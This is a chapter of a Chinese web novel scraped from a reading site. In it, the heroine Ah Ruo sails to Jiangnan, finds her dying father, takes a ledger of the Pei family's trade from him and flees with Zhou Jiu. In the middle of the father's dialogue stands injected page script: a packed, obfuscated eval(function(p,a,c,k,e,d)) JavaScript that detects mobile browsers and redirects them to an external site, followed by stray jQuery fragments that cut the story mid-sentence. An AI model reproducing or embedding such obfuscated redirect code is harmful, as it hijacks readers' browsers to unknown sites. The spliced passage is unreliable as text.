默认冷灰
24号文字
方正启体

16. 那个人

作者:申澈的澈本书字数:K更新时间:
    李默说那句话的时候,阿箬愣住了。


    “一个比你还能做梦的人?”


    李默点了点头。


    “冯道说的。他一直说,要送我一个人,一个比我还能做梦的人。”


    阿箬看着他。


    “那人是谁?”


    李默摇了摇头。


    “不知道。冯道没说。只说那个人在汴梁,早晚会来找我。”


    阿箬沉默了一会儿。


    “你信他?”


    李默想了想。


    “冯道这个人,说的话不能全信。但他做的事,每一件都有道理。”


    他看着阿箬。


    “他说有这个人,就有。”


    阿箬没再问。


    但她记住了。


    ---


    三天后,那艘船要从汴梁出发。


    走之前,阿箬把阿钝叫到柴房后面。


    阿钝蹲在地上,看着她,眼睛亮亮的。


    “阿箬姐,你找我?”


    阿箬在他旁边蹲下。


    “阿钝,我要出一趟远门。”


    阿钝愣了一下。


    “去哪儿?”


    “江南。”


    阿钝的眼睛瞪大了。


    “江南?那多远啊?去干啥?”


    阿箬没回答。


    她只是看着阿钝的眼睛。


    “阿钝,我走之后,你帮我做一件事。”


    阿钝点头。


    “啥事?”


    阿箬从怀里摸出一个东西,递给他。


    是一块布。巴掌大,上面绣着一个字:**箬**。


    “这是我娘绣的。”她说,“我从小带在身上。万一我回不来,你把这个交给李默。”


    阿钝接过那块布,手有点抖。


    “阿箬姐,你……你为啥回不来?”


    阿箬笑了笑。


    那是阿钝第一次见她笑。


    不是冷笑,不是苦笑,是真的笑。


    笑得阿钝愣住了。


    “没事。”她说,“就是万一。”


    她站起来,拍拍阿钝的头。


    “好好学。你师父那些本事,够你学一辈子。”


    她走了。


    阿钝蹲在那里,看着她的背影,手里攥着那块布,攥得紧紧的。


    ---


    船是清晨出发的。


    汴梁城外的码头上,停着一艘不大不小的船,船头插着一面旗,旗上写着一个字:**周**。


    周五站在船头,看见阿箬来了,笑了笑。


    “来了?上船吧。”


    阿箬走上船,站在船舷边,回头看了一眼。


    码头上人来人往,有扛货的脚夫,有卖吃食的小贩,有等船的客人。她扫了一圈,没看见李默。


    他说过会来的。


    他说过不让她一个人去。


    人呢?


    “开船——”船夫喊了一声,船慢慢离岸。


    阿箬还站在船舷边,看着码头上那些人。


    船越走越远,码头越来越小,那些人渐渐看不清了。


    她还是没看见李默。


    她转过身,走进船舱。


    ---


    船走出二十里,进了运河。


    两岸是光秃秃的田地,偶尔有几户人家,冒着炊烟。天很冷,风刮过来像刀子,割在脸上生疼。


    阿箬坐在船舱里,抱着膝盖,看着窗外。


    门帘掀开,一个人走进来。


    她没回头。


    那个人在她旁边坐下。


    “等人?”


    阿箬的身子僵了一下。


    她转过头。


    那张脸,她认识。


    不是李默。


    是另一个人。


    四十来岁,精瘦,眼神锐利。她见过一次——在冯道住的那条巷子里,那个开门的。


    “你……”


    那人笑了笑。


    “我姓周,行九。你叫我周九就行。”


    他看着阿箬的眼睛。


    “李默让我来的。”


    阿箬愣住了。


    “他……他怎么……”


    周九从怀里摸出一个东西,递给她。


    是一块布。巴掌大,上面绣着一个字:**箬**。


    阿箬的瞳孔缩紧了。


    这是她给阿钝的那块布。


    “那个叫阿钝的孩子,一大早就跑来找李默,把这布给他,说你走了。李默看完,让我来找你。”


    周九看着她。


    “他说,让你放心。该做的事,做你的。该来的人,会来的。”


    阿箬攥着那块布,攥了很久。


    然后她抬起头,看着周九。


    “你是谁?”


    周九笑了笑。


    “冯相国的人。”他说,“也是李默的人。”


    他顿了顿。


    “现在,是你的人。”


    ---


    船在运河上走了七天。


    七天里,阿箬没出过船舱。周九每天给她送饭,送完就走,不多说一句话。


    第七天傍晚,船靠岸了。


    周五走进船舱。


    “到了。下船吧。”


    阿箬站起来,走出船舱。


    外面是一个码头,比汴梁的小,但热闹。人来人往,扛货的、卖东西的、拉客的,挤成一团。


    码头上站着一群人,穿着一样的衣服,腰里别着刀。为首的是个四十来岁的汉子,满脸横肉,看见周五,点了点头。


    周五带着阿箬走过去。


    “这是商会的护卫队长,姓张。”他说,“他带你去见你爹。”


    阿箬看着那个姓张的。


    姓张的也看着她。


    “走吧。”他说。


    ---


    他们穿过码头,走进城里。


    城里的街道比汴梁窄,但热闹。两边是各种铺子,卖布的、卖粮的、卖铁的,什么都有。阿箬一边走一边看,把走过的每一条路都记在心里。


    走了半个时辰,他们停在一个院子门口。


    院子很大,门很高,门上挂着一块匾,写着四个字:**江南商會**。


    姓张的推开门,走进去。


    阿箬跟在后面。


    院子里比外面安静。假山,水池,梅花树,还有几个穿绸袍的人走来走去。那些人看见阿箬,都停下来看一眼,然后继续走。


    姓张的把她带到后院,停在一间屋子门口。


    “你爹在里面。”他说,“进去吧。”


    他转身走了。


    阿箬站在门口,看着那扇门。


    门是关着的。


    她抬起手,想敲门,又放下。


    她想起三年前那个晚上,她躲在柴房里,从门缝里看见她爹被按在地上,刀割他的脖子。血喷出来,喷了一地。


    她想起她娘抱着她,跑了三个月,跑到乡下,躲起来。


    她想起她娘饿死的时候,拉着她的手说,你爹是被裴家害死的,你要记住,长大以后,替他报仇。


    她想起那三年,每一个夜里,她都在想她爹。


    想他死的时候,为什么看着她的方向。


    想他有没有想过她们。


    想他是不是真的死了。


    现在,他就在这扇门后面。


    活着。


    阿箬推开门。


    ---


    屋里很暗,只有一盏油灯。


    床上躺着一个人。


    很瘦,瘦得像一把骨头。脸上没有肉,眼窝深陷,颧骨凸出。眼睛闭着,嘴唇干裂,呼吸很轻,轻得像随时会停。


    阿箬站在门口,看着那个人。


    这是她爹?


    她爹不是这样的。


    她爹很高,很壮,笑起来声音很大。她小时候,她爹经常把她举起来,举得高高的,逗她笑。


    床上这个人,不是她爹。


    那个人睁开眼睛。


    他看见阿箬,愣了很久。


    然后他的眼睛里,有东西流出来。


    “箬儿……”


    他的声音很轻,很哑,像砂纸刮过木头。


    “箬儿……是你吗?”


    阿箬没动。


    她站在那里,看着那个人,看着那双流着泪的眼睛。


    那双眼睛,她认得。


    是她爹的眼睛。


    “是我。”她说。


    那个人伸出手,颤颤巍巍的,想摸她。


    阿箬没过去。


    她的手攥紧了。


    攥着那块布,那块绣着“箬”字的布。


    “你……”她的声音在抖,“你为什么没死?”


    那个人看着她,眼泪一直流。


    “有人……救了我……”他说,“商会的……他们把我藏起来……”


    “那你为什么不来找我们?”


    那个人闭上眼睛。


    “不敢……裴家的人……盯着……我怕害了你们


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17401604|200419||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ……”


    阿箬的手在抖。


    “你知道我娘怎么死的吗?”


    那个人没说话。


    “饿死的。”阿箬说,“那年灾荒,没吃的。她把最后一点粮食给我,自己饿死了。”


    她的眼泪流下来。


    “她死的时候,还拉着我的手,说让我替你报仇。”


    那个人睁开眼睛,看着她。


    那双眼睛里,有东西碎了。


    “箬儿……对不起……”


    阿箬站在那里,听着这句话。


    对不起。


    三个字。


    她等了三年。


    她恨了三年。


    她以为听到这三个字,她会哭,会扑过去,会原谅他。


    但她没有。


    她只是站在那里,看着那个人,看着那双眼睛,看着那些眼泪。


    “账本在哪儿?”


    那个人愣住了。


    阿箬看着他。


    “账本。”她说,“他们让我来,是为了账本。你把账本给我,我替你交给他们。”


    那个人沉默了很久。


    然后他笑了。


    那笑容很轻,很淡,像一阵风就会吹散。


    “你长大了。”他说,“像你娘。”


    他从枕头下面摸出一个东西。


    是一个布包,巴掌大,很旧,很脏。


    “这是账本。”他说,“裴家二房的账本。里面记着,这些年,裴家跟谁做生意,卖给谁刀枪,卖给谁铁锭,卖给谁——”


    他顿了顿。


    “卖给谁人。”


    阿箬接过那个布包。


    很轻。


    但拿在手里,像有千斤重。


    “箬儿。”那个人说。


    阿箬看着他。


    “你娘叫什么名字?”


    阿箬愣了一下。


    “阿箬。”


    那个人摇了摇头。


    “你娘叫阿箬。你叫——”


    他看着她。


    “你叫念箬。念着她。”


    阿箬站在那里,听着这句话。


    念箬。


    念着她。


    她的眼泪流下来。


    “爹……”


    那个人伸出手,这回,阿箬走过去,握住那只手。


    那只手很瘦,很凉,像一把干柴。


    “念箬。”他说,“把这个账本,交给一个你能信的人。别交给商会,别交给裴家,别交给任何人。交给一个——”


    他的声音越来越轻。


    “一个能帮你娘报仇的人。”


    阿箬攥紧那只手。


    “我知道一个人。”


    那个人看着她,眼睛里有一点光。


    “好。”


    他闭上眼睛。


    阿箬坐在床边,握着他的手,坐了很长时间。


    很久之后,她发现那只手,已经凉透了。


    ---


    阿箬走出那间屋子的时候,天已经黑了。


    周五站在院子里,等着她。


    “拿到了?”


    阿箬点了点头。


    周五伸出手。


    阿箬看着他。


    “我爹说,”她说,“这个账本,交给一个我能信的人。”


    周五的眼睛眯了一下。


    “你什么意思?”


    阿箬往后退了一步。


    “我意思,”她说,“你不配。”


    周五的脸色变了。


    旁边那几个护卫往前走了一步,手按在刀上。


    阿箬没动。


    她只是看着周五,眼睛里的冷,像冬天的井水。


    就在这时,院墙上传来一个声音:


    “她说得对。你不配。”


    所有人都抬起头。


    墙头上站着一个人。


    精瘦,眼神锐利,手里握着一把短刀。


    周九。


    周五的脸色铁青。


    “你是谁?”


    周九笑了笑。


    “一个来收账的人。”


    他从墙头上跳下来,落在阿箬旁边。


    “走。”他说。


    阿箬跟着他往外跑。


    后面传来喊声,脚步声,刀出鞘的声音。


    他们跑出院子,跑进巷子,跑过街道,跑进黑暗里。


    阿箬手里攥着那个布包,攥得紧紧的。


    风刮在脸上,像刀子。


    但她没觉得冷。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)